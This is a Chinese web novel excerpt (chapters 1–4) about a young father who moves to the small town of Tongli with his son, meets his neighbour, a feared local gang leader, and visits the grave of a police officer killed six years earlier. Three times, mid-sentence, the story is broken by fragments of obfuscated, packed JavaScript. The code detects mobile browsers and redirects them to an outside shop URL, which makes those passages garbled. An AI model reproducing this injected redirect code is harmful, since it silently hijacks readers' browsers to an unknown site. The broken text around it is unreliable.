《哥哥还想往哪儿跑》 1. 一见钟情 “……让他走!” “我倒要看看,离开沈家,他能带着那个崽子在外面过几天!!” 沈庭章被一阵刺耳咆哮声炸醒。 长睫轻颤两下睁开,正在一辆行驶中的车后座。 身下的布艺座椅廉价粗糙,低温空调吹出的冷风混着刺鼻难闻的机油味。在这个完全密闭的空间里,空气都显得格外稀薄。 沈庭章定定醒了会儿神。 想起来,这是他出站后打的车。 当时司机非常热情,主动帮他拎行李不算,还操着一口本地口音说“去哪儿,我送你”。 沈庭章结结实实震惊了一把,心想:还有这好事? 就跟着走了。 上车后报了地点才知道,原来是要收费的。 从火车站到他要去的三乡巷幸福里居,全程近20公里,一口价50块。 沈庭章没打过车,也不知道是贵还是便宜。 既然已经上来,加上身边有个孩子,再下去坐别的车估计也是同样情况,索性还是让他送。 这一路,热情的司机师傅,嘴就没停过。 现在看他醒了,更来劲儿。 “别看同里小,玩儿地方可多了。” “有山有海,往乡下走,还有农庄、草莓园。” “前阵子,好多旅游团扎堆跑过来……” 侃侃而谈的同时,不忘瞥眼车内后视镜。 话题自然而然引到他们身上:“帅哥也是来玩儿的吧。” 沈庭章抿唇摇头。 上车后就扒着车窗往外看的沈小满,收回视线,奶声奶气:“我们,搬到这里住。” “啊!” 司机先是一惊,发觉自己反应有点大,立马往回收了收,干笑:“到这儿住…也挺好的。” 趁着等绿灯,他又连看了车内镜不下四次。 镜子里照出来一个青年人,顶多二十出头,肤白干净,眉眼如画,气质更是出类拔萃,特别像前些年火的古装正剧里头,世家大族精心培养出的贵公子,甚至比电视剧演的还要像那么回事儿。 刚才在火车站,出站口那么多人,他一眼就注意到了。 要说这么漂亮一个人,来同里玩儿,那是相当欢迎,可要是准备在这定居…… 司机咬唇咋舌,犹豫了好一阵子:“实话跟你们说哈,同里这边稍微有点,乱。” 沈小满晃着点不到地的小短腿,扫扫车左右两边,一脸天真:“很干净啊。” 只是很不凑巧赶上了晚高峰,街上到处都是人和车。路口转角还停着辆挡路的中卡,上面的大西瓜堆有山高,扩音喇叭卖力吆喝“降价啦降价啦,西瓜九毛八一斤,九毛八一斤……” 声音隔着马路传过来。 很热闹,但地上确实干干净净。 司机哭笑不得,忙解释:“不是说卫生,是…你们就住在三乡巷是吧。”见沈庭章点头,含糊建议:“那晚上就别出门了,也最好别靠近酒吧舞厅那种地方。” 后排一大一小同频眨眼。 司机正要说原因,临到嘴边,怕他们知道了扭头就走,咳了一声:“酒吧舞厅里头都是些小年轻,喝多了难免要闹事的嘛。” 原来是这样。 沈庭章一只手环住沈小满,回他:“那种地方我们不会去的。” “那就好,那就好。” 司机连说两声,默了数秒僵硬地转移话题:“帅哥从哪儿来啊。” “北宁。” “呦!大城市!光来一趟就要不老少时间吧。” 北宁到同里没有直达,得先坐三个多小时飞机到南宁,再在南宁换乘火车,又得两个多小时。 “也是不容易。”司机又问:“咋想到同里来的?” 同里一个小镇,和北宁比,简直天上地下。 沈庭章拿他刚才的话,“玩儿的地方多,有山有水,空气也新鲜。” “确实。咱们这儿别的不说,绿化是真的好。” …… 有一搭没一搭这样聊着。 驶过拥堵的路口,很快进入三乡巷地界。 直行不到五百米拐进小路,就到了目的地——幸福里居。 纵目望过去,联排屋顶,红瓦白墙,每栋房屋都自带一个独立的小院子,随处可见院内架着瓜藤,青叶间开满嫩黄花蕊。 司机跟他们讲:“这里是老城区,大概六年前吧出了个5.21事件,我记得非常清楚,那天正好是小满。没过两年,就全部拆掉重建了…” 许久没听到后排回应。 司机恍惚过来,“你们北宁来的不知道,那年我们这儿捣毁了好几个犯罪窝点,也牺牲了好些警察,都是些二十几岁的小年轻…不用怕,现在治安比以前好不少呢。” 沈庭章蜷了下手,喉咙里溢出一声极轻的“嗯”。 司机没听出什么不对劲,左转再开个百来米,伸手指着尽头倒数第二家,“喏!前面就是18号。” 幸福里居18号,原先住着一对老夫妇。 三个月前,老人不幸查出身体有问题得做大手术,远在国外的女儿就将老两口都接了过去,留个空房子索性卖了。 正好那时候,沈庭章在看房子,瞧价钱合适,卖了之前画的两幅画凑一凑,将院子全款买下。 但这期间,一次也没来看过,全权委托给第三方。 原住户,该搬的都搬走了,倒是院里还留了一季瓜藤,以及一个崭新的吊篮。 傍晚剩的一点余晖悠悠晃进藤架间,斑驳光影洒了一地。 … 出租车开到院门口。 司机嚎一嗓子“到了噢”,麻溜儿解开安全带下去,绕到后备箱给他们取行李。 沈庭章随后“咔哒”打开车门。 霞光瞬间落进来,打在他一截玉色开衫上,衬得几根长指莹白透粉。 接着,笔直的长腿踩到地面。严严实实包裹在枪灰色西装裤下,细瘦有型。 沈庭章弯腰下车,不等看看新家什么样儿,先注意到左侧睇来一道视线,转头就跟一双极具侵略性的黑眸撞个正着。 黑眸的主人仅穿了件无袖背心,两条臂膀虬结紧实,肱二头肌尤其突出。曲着一条腿倚在墙角,也不知道站了多久,夹在手里的烟早已燃尽。 眼尾斜长上翘。 皱着眉,凶神恶煞。 为什么瞪他? 他们认识么? ……该不会要冲上来揍他两拳吧? 沈庭章脑内风暴半天没动。 直到一声脆生生的“爸爸”身后响起。 沈小满蹦下车,拿出小牛犊子特有的冲劲儿,一口气跑到院子前,扒着栏杆到处看,“这就是我们的新家?” “嗯。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677879|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈庭章回神应一声。 付了车费,接过司机帮忙搬下的两只行李箱,拿出钥匙打开院子。 没发现,沈小满叫出那声“爸爸”后,男人眼底一瞬掠过的惊诧,和越发难看的脸。 — 推开院门,沈小满率先跑进去。 摸摸瓜藤上垂落的嫩黄小花,手脚并爬到吊篮里,甩着小短腿划水似的晃两下… 堂屋大门打开后,又跳下吊篮摇摇晃晃跟过去。 屋子并不大,东西各一间卧房。 两个人住也够了。 沈庭章来之前,请人里里外外打扫过一遍。 转角楼梯上去还有间不足二十平的阁楼,被改造成书房,沈庭章的画板画纸,沈小满的童话书都提前送了过来。 避光的角落还置了台黑漆钢琴。 推开朝南的一扇窗,小小院落尽收眼底。 沈小满转遍每一间房,来回不到三分钟就跑回堂屋,吭哧爬上红木沙发,往沈庭章怀里蹭。 边蹭边抱怨:“爸爸,房间都好小哦。” 还没以前房间一半大。 捉迷藏都不好躲。 赶了大半天路,沈庭章身体有些吃不消,但还是捏捏眉心,强打起精神道:“小是小了点,但这里离小满要上的小学,走路只要十分钟。” “这么近!”沈小满震惊地张大嘴巴,很快笑呵呵地,“那我以后就能睡懒觉了。” 之前在北宁读幼儿园,每天都要起大早从郊外赶过去,下午放学,到家天都快黑了。 还没人愿意跟他玩儿,都骂他野种。 这里应该没人骂他野种了。 沈庭章摸着他那头微卷细软的发丝,应好:“让你多睡一小时。” 沈小满咧开嘴在他怀里扭啊扭,闻着他身上淡淡的檀香,眼睛舒服得眯成一条线。 突然,一声“咕~”从下方响起。 他爬起来抱住肚子,脸蛋红红的:“爸爸,我饿了。” 厨房里锅具厨具都挺齐全的,就是缺了调味和蔬菜瓜果。 沈庭章沉吟片刻,提议:“今天先出去吃,明天爸爸再给你做。” “好~” 父子俩简单收拾下屋子,洗干净手出门。 … 半小时后, 天色就已经完全黑了下去。 第三次转进死胡同后。 面对堆满厨余垃圾,散发臭味的巷子,沈小满熟练地捏紧鼻子: “爸爸,又走错了。” 离开家的时候,导航显示离一家粥店明明只有800米。 现在,还没到。 沈庭章脸有些热。 赶紧带他离开臭气熏天的胡同,梅开四度返回原点,重新跟着导航转。 眼看又要拐进某个巷子,沈小满急急叫停:“要不然闻着味道走吧,闻到香香的,不就能吃饭了嘛。” 巷口边,熟悉的恶臭袭来。 沈庭章叹口气放弃导航,由他在前面带路。 一路东嗅嗅西闻闻,不消五分钟,就拐到了宽敞的马路上。 路两边霓虹闪烁,甜香咸辣的味道顺着风直往鼻孔里钻,不仅有粥铺,远一点还有面馆、特色小吃、龙虾烧烤以及水果店。 扩音喇叭从白天喊到晚上。 沈小满高兴地直跳脚,“爸爸你看!找到了。” 2. 火速失恋 小吃街上方飘来各色食物香气。 周扬大刀阔斧地坐在烧烤摊外红色塑料凳上,一口冰啤酒,一口肉串,爽得头皮直发麻。 再看蔺宵,面前的肉串居然一口都没动! “宵哥,不合胃口?” 他觑向桌上几个烤盘。 不应该啊。 这不都是平时常点的老几样么。 蔺宵闷了句“没有”,埋头继续喝酒。 周扬咬着羊肉串一顿:“有心事?” 他跟在蔺宵身边六年,哪见过他这样魂不守舍的,像是为情所困… 想法一冒头,周扬连在心里呸了好几口。 一定是女神前阵子拒绝他了,才让他啥事都往那上面想。 宵哥怎么可能会为情所困? 他用力甩掉这种可怕的想法,谈起正事:“同里这几年大力发展旅游业,余志强那个老家伙可开心了。听说前两天又有一帮人被他们忽悠进去,赔的连底裤都输光了。” 余志强是他们这里的老地痞。 以前靠暴力催收,现在做大做强,街头巷尾看不见的地方开了好几家黑赌场。 跟条鱼一样滑溜,有时连条子都拿他没办法。 就说这件事,那群人也不是没想过报警,但一报警,聚众赌博,自己得先进去十天半个月。留了案底,往后有子女想考公考编就完了。 怎么办? 只能是打碎了牙往肚子里咽。 “他们赌的时候就该想到,天上掉不下来馅儿饼。” 蔺宵不同情那帮人。 晃了晃酒杯,再问:“白凤那边怎么样。” 同里地下势力分三份。 第二,就是这个白凤。 明面上开着KTV、澡堂子,人脉甚广,哪方都卖她几分面子。 “最近没进几个女孩,倒是招了不少漂亮小男生。”说到这儿,周扬扫两眼自家老大,含含糊糊:“托话说…又给您留了两个。” “呵。” 蔺宵轻笑。 再漂亮,能有他傍晚在家门口遇见的那个人漂亮? 容貌俊雅,气度非凡。 尤其那双桃花眼,眉目含情看过来,像盛满了一池春水。风一吹,泛起细微涟漪。 瞧着也就二十出头,脸嫩的似能掐出水来。 蔺宵就不明白了,这个年纪怎么会有个五六岁大的儿子?难不成十五六就和人生了? “宵哥,你收不收啊。”这边,周扬没压住,八卦全写脸上,“凤姐那儿还等你话呢。你要收了,立马把人送来。” “收、收、收!”蔺宵长腿一伸,把他凳子踹得颠了好几下,“收毛线收!” 周扬忙往边上挪挪,一脸委屈:“那我不是寻思哥身边没人嘛。” 这六年都没见他跟哪个妹子擦出花儿来,前阵子还又大张旗鼓地说自己喜欢男人。 要不是因为这,凤姐能往他这边塞人? 白凤实力要稍逊余志强,两人又是多年死对头,就想把蔺宵这个刺头给拉过去。 拉拢人无非就那几个手段,要么钱,要么人。 别看住在破破烂烂的老城区,蔺宵可不缺钱,唯一缺的就是人了。 别说能成为枕边人,只要爬上床绑定利益关系就行。 一开始也多送些面容姣好的小姑娘。 没成想,蔺宵放出话说不喜欢女的,硬不起来。 谁都知道是托词。 白凤却笑了笑,隔天就给他送了几个小男生。 蔺宵这回倒是照单全收了,转头都送到名下酒吧打黑工,榨的几人天天在背后咒他阳痿,最好是一辈子硬不起来。 白凤这才消停。 谁想,没过多久,又来这死出。 这回可不能再送人打黑工了。 一次还可以说不满意,接连两三次,白凤也不是吃素的。 蔺宵端起酒杯,垂眸遮住眼底翻滚的情绪,一口闷了之后,干脆道:“老子有喜欢的人了,回了。” 一口肉串啪!掉回盘子里。 周扬目瞪口呆。 大着舌头磕巴:“谁,谁啊?” “问那么多干嘛。” 蔺宵赶紧又闷了口酒。 耳边忽然传来一阵断断续续的嘈杂声。 … “帅哥第一次来同里吧。” “呦!还带一孩子。” “小朋友多大了?哎!别躲啊。” 刚从粥铺出来,沈庭章就被一伙醉鬼给盯上,足足跟了他两条街。 沈小满小脸煞白,抱着九毛八一斤的西瓜往他身后躲。 沈庭章倒还算镇定,问:“你们有事?” “没什么大事,嗝~就是想问问你家住哪儿?我们好送送你啊。”醉汉扫一圈周围的弟兄,咧口黄牙冲他笑。 沈庭章可不会蠢得,将这话和白天司机师傅的话混为一谈。 当即拒绝:“不用,我们很快就到了。” 抬脚换个方向。 醉汉摇头晃脑地又将他拦下,“别这么冷淡嘛,哥儿几个带你一块玩啊。” 说着就要上手。 沈庭章侧身躲开,彻底冷下脸:“你们再这样,我就报警了。” “报警?” 一行六人,愣了几秒哈哈狂笑。 为首的光头醉汉下一瞬目露凶光:“妈的,给脸不要脸!” 呸口唾沫,抡起拳头。 街两侧,坐在店外面吃饭的人不是没注意到这边动静,却也只是看两眼,又埋头干自己的饭喝自己的酒,无动于衷。 沈小满急得眼泪在眶里直打转,西瓜都抱不稳了,紧紧抓着爸爸衣角。 那人的手比他脸都大,要是一拳打过来,肯定很疼。 谁来救救他们… “嘿!” 一声大喝猝然炸开。 醉汉们身后悠悠走来一个人。 看着也就二十二三,染一头白金发色,举止动作尽显桀骜。 周扬下巴一扬,挑眉:“干嘛呢。” 光头醉汉没认出他,又或者认出了,看他只有一个人没什么好怕的,挺着大肚子杠:“跟你有屁毛关系,识相的赶紧滚。” “呦呵!这么横。” 周扬有两年没听人跟自己这么说话了,就问:“你们哪家的?” “哪家?” “你爷爷家的!” 光头给兄弟们使了个眼色,六个人顿时蜂拥而上。 沈庭章带着儿子走远些,趁机拨了110。 放下电话,就见一个壮汉捂着肚子倒在脚边。 除了那个年轻人,已经没人站着。 周扬一手拎起光头后衣领,啪啪拍他那张猪脸,“还敢横么,嗯?” “不,不敢了。”光头脑袋摇成拨浪鼓。 “不敢?我看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677880|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆子大、得、很、嘛!”周扬边说边抽他嘴,“不知道这谁地界?” 他侧了下头,睨向后方。 不远处的烧烤摊前坐着一个人,虽然背对着看不见长相,但都知道,能跟周扬一块儿出来吃饭的只有那个人。 “蔺宵!” 恐惧后知后觉漫上脊背。 蔺宵不比余志强、白凤两个多年老油条,原本就是个谁也瞧不上的小混混。 谁能想到,就这么个混混,短短几年靠着那双拳头,愣是叫两大地头蛇都不敢轻易得罪。 碰上他,简直比碰上警察还要叫人绝望。 更不用说他心情不好的时候。 很显然,现在就是这么个情况。 离了有二十米远也能看到,他手上那把银光闪闪的瑞士军刀。 来回甩两下,咚!插桌上。 立秋刚过,天还很热,光头狠狠打了个冷颤,赶紧招呼躺地上的兄弟,转头开跑。 眨两眼,影子都快看不见了。 “怂货。”周扬伸长脖子哼哼。 收回视线打算回去,那一大一小居然还在! 远处店铺的光落过来,男人走出树影,声音似潺潺溪流跃入耳中,清润透亮: “刚才真是谢谢你。” 周扬挠挠后脑勺,舌头又开始大了,“都是小,小事儿,没什么。” “这里有两只苹果。”沈庭章从随手拎的袋子里,拿出两只红通通的苹果递过去,“多谢你,还有你的朋友。” 只是两只苹果没什么好推辞的。 周扬双手接过。又听他说已经报警,脸微僵了一下,“天这么晚了,你们还是赶紧回家吧,待会儿警察来了,我跟他说。” “这不好吧。” 警察来了,第一个问的不就是报警人。 “诶呀,没事没事,我跟他们熟得很,放心好了。”周扬不在意地摆摆手,视线落向他身后,“那些人这么一闹,小朋友都要吓坏了,早点回家的好。” “…那好吧。” 沈庭章不再坚持。 走的时候,沈小满才去抱起地上西瓜,仰头望着周扬,笑出两个小梨涡:“哥哥,谢谢你噢!” “不客气,回去吧。” - 送走一大一小,周扬抛着苹果回到烧烤摊。 把另一只给了蔺宵。 “宵哥,人家谢谢你呢。” “嗯。” “哇!这也太冷淡了吧。”周扬一脸兴奋地挪过去,“你不知道,那人长得可好看了,不夸张说啊,比我女神还好看,脸白白净净的,身上还有股子香味儿…” 半天也不见蔺宵有反应,他又自顾自疑惑:“以前怎么没见过?来旅游的?” 这样足够引起轰动的相貌,但凡在同里出现不止一次,没理由不知道。 “宵哥,给点回应啊。”白毛往前凑,“刚才不是你让我去的嘛。我跟你说,真的亏了,你就应该自己上,英雄救美,顺便留个电话啥的,缘分这不就来了。” 蔺宵终于舍得从苹果上移开视线,叹气:“人家有孩子了。” “孩子咋了,看他那个年纪,估计是什么侄子外甥,怕啥。” “是他儿子。” 周扬一愣,定定看着他。 常年没什么好脸色的人冷不防笑了,比哭还难看,“今天刚搬到隔壁,我亲耳听到那小孩儿叫他爸爸,能有假?” 3. 西山陵园 回到家,将近九点。 沈小满一路不语抱着瓜,到家放下后,扭头又钻沈庭章怀里。两手牢牢箍住他的腰,左右晃,“爸爸,这里好吓人,我们还是走吧。” 沈庭章松开手提袋,蹲下平视:“外面的世界本来就是有好有坏,再往别的地方走,没准儿也是这样呢?” “就不能回去么。” 沈小满嘴巴翘老高。 沈庭章一顿,搂着他拍两下,摇头:“不能回去。” “为什么?” 堂屋内外安安静静。 沉默了相当长一段时间后,沈庭章直接跳过这个问题:“明天爸爸带你去一个地方,今晚早点睡。” “好吧。” 沈小满有点儿不情不愿,但还是吃两片西瓜,就停手去洗澡。 从浴室出来,拿着小毛巾跑去堂屋西边的房间,眨巴眼,“爸爸,小满今天可以跟你睡么?一个人睡,小满害怕。” “当然可以。” 沈庭章招他过去,给他擦头发。 擦到半干,再用吹风机低温吹干。 沈小满趴腿上抱住人,吹着吹着,沉沉睡过去。 … 第二天清早。 沈庭章先起床把早饭做好。 简单熬了点小米粥,再煎两个全熟蛋,看沈小满还没醒,又到外面买来一屉小笼包、几根油条。 拐两个巷子就到的距离,来回花了快一个小时。 到家,包子都冷了。 推开院门,隔壁跟着传来动静。 沈庭章又见到了昨天靠墙角抽烟的那位,也像是刚从外面回来。 一手推院门,另只手摁着太阳穴。 突然,脚步一停侧过头。 两人的视线就这么水灵灵地对上了。 他正要扯着嘴角说声“早”,男人脸色微变,迅速一脚跨进大门——嘭! 整个世界都安静了。 沈庭章摇头笑笑。 拎着包子回去,就见沈小满慌慌张张从西跑到东,又是穿袜子又是去穿鞋,嘴里还喊着:“坏了坏了,上学要迟到了。” “小满。” “爸爸!”沈小满顶着鸡窝头哒哒跑过来,眼里包了一泡泪,哭唧唧问:“爸爸看见我书包了么?小满要迟到了。” “今天8月8号。” 沈小满愣愣眨着泪眼。 耳边一声轻笑:“忘了?放假了呀。” “哦!对吼。” 沈小满才想起来,他幼儿园毕业了。 以后再也不用起很早到城里上学。 “呼~吓死我了。”他擦去眼角泪渍拍拍胸脯,头一转,发现爸爸手里拎着包子油条,“这是…阿姨做好送来的?” 以往,沈小满上学来不及吃早饭,家里阿姨都会提前做好了放进饭盒,让他坐车路上吃。 北宁到这里,坐车要好久,阿姨也每天做了送过来? “包子店买的。” 沈庭章打破他这个不切实际的想法,小笼包放进蒸箱热一热,道:“洗脸刷牙了来吃早饭。” 洗漱完,梳顺他的鸡窝头吃好饭,已经是八点以后的事。 沈庭章估摸着这个点商店应该开了,带着沈小满出门。 先到花店挑了两束白菊,再去水果店买一只包装精美的果篮。 忽然想起些什么,又到商店问:“老板,有话梅味的棒棒糖么。” “话梅?棒棒糖没有诶,水果糖行吗?” “有可乐、草莓、蓝莓……” “话梅味的本来就少,最近都不怎么卖了。” …… 一连问了几家。 沈小满抱着花不解:“爸爸要吃糖?” 沈庭章张了张嘴,点头。 “爸爸不是从来都不吃糖的么?” 沈庭章这回没再回答。 一直走到路尽头,巷子拐角还开着一家老式香烟店,店里也卖糖果日化。 沈庭章抱着试试的心态过去问。 店主人是位年迈的老奶奶,耳朵不太好。 问了三遍才听到。 “话梅糖?有啊。等着,我给你拿。” 老奶奶撑着玻璃柜台,从下面翻出糖桶。 里头仅有一种口味。 她拧开盖子,边往里掏边絮叨:“这中间的话梅又大又酸,现在没什么人吃了。” 掏出一支,才问:“你要几支?” 沈庭章竖起两根手指,“两支。” “一支五毛,两支就是一块。” 沈庭章看了看干净的柜台,口袋里掏出一枚硬币放到老奶奶手心。 “好,收你一块。” 老奶奶把硬币放进巴掌大小的铁盒。 抬头再往外瞧,人拿着两支棒棒糖迎风走了。 … 绕到大路边,沈庭章拦下一辆出租车: “师傅,去西山陵园。” — 西山陵园,坐落在一座青山脚下,距离老城区也将近20公里。 除了清明节,平常少有人烟。 入口处仅一个老大爷,抱臂窝椅子里,大张着嘴打瞌睡。 “这地方偏啊。”司机开到门口,左右看看:“你们出来不好打车,要不我在这儿等吧。” “那就麻烦师傅等一会儿,不会很久。” 沈庭章领着儿子下车,走到保安室前敲敲窗:“大爷。” 大爷迷迷瞪瞪睁开眼,“什么事啊。” “六年前,5.21事件牺牲的人埋在哪儿?” “东区呢。” 大爷搓把脸站起来,指出窗外,“你往东走到头,看见牌子上去,都在十二、十三两排…你是烈士家属?” 沈庭章沉默摇头,发现大爷眼睛不大好,出声:“不是。” “那是?” “朋友。” … 沈庭章道过谢入园。 根据大爷指的方向右转——路尽头矗立着一座约有一米高的石碑,上面拓着:5.21事件烈士纪念碑。 从下往上数到12、13,两排相较来说还算新的墓碑上,刻着各烈士姓名、出生年月,左侧则是一张放大的黑白照。 都是年纪轻轻的小伙儿。 墓前多摆着可乐汽水、糖果面包…… 沈庭章慢慢走过去,到13排从左往右数第7个墓碑前停下。 “爸爸!这个人跟小满一样,脸上也有窝窝。” 沈小满把手抵在嘴角,一笑,两边很明显凹下去一个印子。 和照片上的人一模一样! “是啊,真的很像。” 沈庭章放下白菊和果篮,凝望着碑上照片。 其实不止梨涡,照片上明眸善睐的青年也有着一头微卷的头发。 沈小满看看照片再看看他,隐隐明白了,“这是…爸爸?” 懂事之后,他就知道自己不是爸爸亲生的。 爸爸也曾告诉他,亲爸爸是比奥特曼还要厉害的英雄! 他仔细去瞅那张照片,好像也没……好吧,他承认脸上窝窝是比他大。 沈小满把怀里快被揪掉的白菊和爸爸的排排放,目光落向照片旁刻印的字,姓名后面就认识一个宿。 “和爷爷一个姓诶,宿……” 噘着嘴瞄爸爸。 沈庭章轻抚墓碑,一个字一个字念给他听:“宿、喻、州。” 警校毕业,同年分派至同里三乡派出所。2009年5月在抓捕毒贩途中壮烈牺牲,终年24岁。 指尖划过数字,似被烫了一下。 沈庭章紧跟着收回手,掏出两支话梅味棒棒糖。 “我说小少爷,成天看书看不腻啊,我就在你面前,也看看我呗。” 微风拂动落地白纱。 少年咬着糖轻车熟路翻进三楼,坐在窗边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677881|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颊侧两只梨涡深深凹陷下去。 拖长尾音,又唤一声:“小少爷~” 还不等他应,楼下先传来中气十足的怒骂:“宿喻州!你个小兔崽子,又去翻少爷窗了是不是!还不赶快给我下来!” 宿喻州拿着棒棒糖,悻悻吐了下舌。 那年,他们都刚满十八。 两个月后,宿喻州成功考上警校。 一年回来次数,屈指可数。 而他,数年如一日,隔着窗户目送他一次次离开。 直至09年,年初。 “静静预产期在6月,到时候我应该能调回来。在这之前,还要麻烦小少爷再帮我多照顾照顾。” 他点头应好,如往常一样目送他。 可这一次,宿喻州失信了。 他也失信了。 … 细碎的光穿过树叶缝隙晃入眼底,沈庭章仰着脸,默了许久: “宿喻州,我来看你了。” 他拉着沈小满上前。 “这是你儿子,今年6岁,眼睛嘴巴像静静,其他都随了你。” “大名遇书,小名小满。下半年转到同里上一年级,和你一样,也爱吃酸的,性格倒是随了妈妈,好静,坐着看书能看一个多小时。” “平常很乖,没怎么让人操过心。就是有点挑食,不爱吃胡萝卜、西蓝花……” 沈小满脸被他越说越红,噘着嘴巴嘟囔:“胡萝卜本来就不好吃。” 眼看爸爸把他两岁时候尿床的事都给说出来,沈小满赶紧大跨一步,在墓前噗通跪下。 “宿爸爸,我是小满。” “小满,”沈小满抓耳挠腮,不知道该说点什么,就道:“小满过得很好,爸爸对我也很好,除了爱叫我吃胡萝卜。” 旁边:“……” “爸爸说你是英雄,小满不太懂,如果你真是英雄的话——”又黑又亮的眼睛倏地睁大,童声响彻天空,“能不能请你保佑爸爸,长命百岁!” 心脏蓦地被撞了一下。 沈庭章抬手落到他脑袋上,用了点力揉搓,“……时候不早了,我们下次再来看爸爸。” — 叮铃铃!!! 十一点,闹钟准时响起。 被褥里伸出一只青筋纵横的手,到处摸。 摸向枕头边,摁掉闹铃。 没过五分钟, 闹钟又再次响起。 毛茸茸的黑脑袋直接探出被子。 蔺宵拿起手机,自动过滤掉所有未接来电和信息,睡眼惺忪盯着主屏幕上标红的日期。 8月8号。 这么个平平无奇的日子,居然值得他设两个闹钟。 8月8号…… 神游太空的大脑逐渐返回大气层。 8月8号!! 蔺宵一个鲤鱼打挺坐起,套上裤子冲去卫生间洗漱。 他真该死啊。 怎么能把宿哥生日给忘了。 匆匆忙忙出门,走到隔壁门前稍微停了一下。 院子大门紧锁。 蔺宵哈口气闻闻手里味道,也不知道早上那会儿有没有被闻出酒味。 他一路闻着,拐个弯儿到香烟店。 站在门口扯嗓子喊:“金婆婆。” 里头应声出来一个老奶奶,老远瞧见他,弯着眼笑:“元宵来啦。” “老样子。” “诶,好。” 老奶奶弯腰从玻璃柜台下翻出糖桶,打开盖子,掏出两支话梅味棒棒糖,又到身后架子上拿了包利群。 “一共……61。” 一张红票子轻飘飘落入旁边铁盒里。 蔺宵拿上烟和糖,扭头就走。 “还没找零呐!” 蔺宵手一扬,走得更快了。 … 黑色大众一路疾驰向西。 变道驶入西山口时,迎面一辆出租车,擦肩而过。 4. 晚饭邀约 今天也有人上山? 他扭头看了眼,继续向前,开到陵园外。 听见熟悉的鸣笛声,保安室打开窗,看门大爷冲他挥手。 “来了啊。” 蔺宵应一声,走到窗前递去一根烟,“今天有人来?” “是啊。” 蔺宵没再多问。 这地方,他既然能来,别人也来得。 手捧白菊入园,右转到尽头,拾级而上。 走到第13排,一眼发现靠近中间的墓碑前,摆着两束一模一样的白菊。 蔺宵大步过去,白菊啪!掉落地上。 “老张头!”他一口气冲回保安室,“谁,是谁!长什么样子!” 大爷冷不丁被他吓一跳,慢半拍反应过来,他是问今天来的人。 “听口音不是咱本地的,样子嘛…”他眯了眯混浊的眼,“你也知道我这眼睛坏了好几年,就糊糊看到个影儿,听声音是个小伙儿,估计也就二十来岁。” “他来干什么!” “来这儿能干嘛。” “那他有说是来祭拜谁的?” “哟!我没问。”老张头把香烟夹耳朵后,又道:“不过我问他是不是烈士家属,他说,朋友。” “朋、友。”蔺宵重重咬着这两个字,呵出一声笑,“好一个朋友。” “咋啦?他干啥啦?” “没事。他要是下次再来,帮我留意着点。” 老张头听他声音不大对,“那人跟你有仇?” “……嗯。” 其实,也说不上。 只是气。 蔺宵回到墓前,捏起供在照片前的两支话梅味棒棒糖。 这是宿哥生平最爱吃的糖,除了亲近的人,谁也不知道。 宿哥亲人,他托人打听过,妻子六年前难产一尸两命,和宿哥同一天走的。 只剩一个老父亲,也在三年前病故。 要说还有谁知道宿哥这个癖好,他唯一能想到的,只有宿哥常在他耳边提及的那位“小少爷”。 “我跟你说,我们家小少爷,那可是顶顶好的一个人,长得好,脾气好,对人也和善,我就从没见他跟谁红过脸。” “你想见见他?也不是不行,不过你马上要高考了吧。” “这样,等你考完,正好我也要调回去,到时候带你去见他。” …… 据宿哥自己说,他父亲在一户很有钱的人家当管家。 母亲早早亡故后,父亲将他接到身边,所以有幸和那户人家的小少爷一起长大。 他还说,他们感情十分要好。 派到同里的那两年,也确实常看见他坐在值班室里,抓耳挠腮给人写信报平安。 可他死后,翻遍手机别说一张和小少爷的合影,甚至是联系方式都没有。 派人查也查不出个什么。 时间一长,蔺宵也恍惚了,宿哥口中的那位小少爷到底存不存在。 现在看来,是真有这么个人。 “既然六年都没出现,现在又来干什么!” 蔺宵捏紧棒棒糖就要扔出去。 半晌,丢回墓前。 “算了,今天宿哥生日,先不跟你计较。” “有本事,一辈子别出现在我面前!” … 祭拜完,陪老张头聊会儿天,一直到下午四点才回城。 蔺宵把车停到巷子附近,咬着烟往家走。 路过隔壁,新来的邻居正在捣腾院里的爬藤架。 长指搭在青绿藤叶上,衬衫衣摆不时被风带着卷起,晃出一截细腰。 白的晃眼。 沈庭章扫墓回来后,发现爬藤架一侧的木棍松塌了,吃过午饭就在修。 奈何绑在木棍两端连接支架的铁丝拧地极紧,如果不把它绞松再卸下来,整个藤架都有可能塌了。 但翻遍家里每个角落,也没找到一样趁手的工具,只能徒手慢慢拧开。 偏偏这爬藤架架得极高,需时时踮脚。 “要帮忙么。” 一筹莫展之际,耳边刮来一道低沉的声音。 回头见邻居站在院外,沈庭章有些意外。 毕竟早上,这人看见自己扭头就走。 这会儿竟主动过来搭话。 蔺宵指指旁边的爬藤架:“我有工具。” “那真是太好了!麻烦你了。” 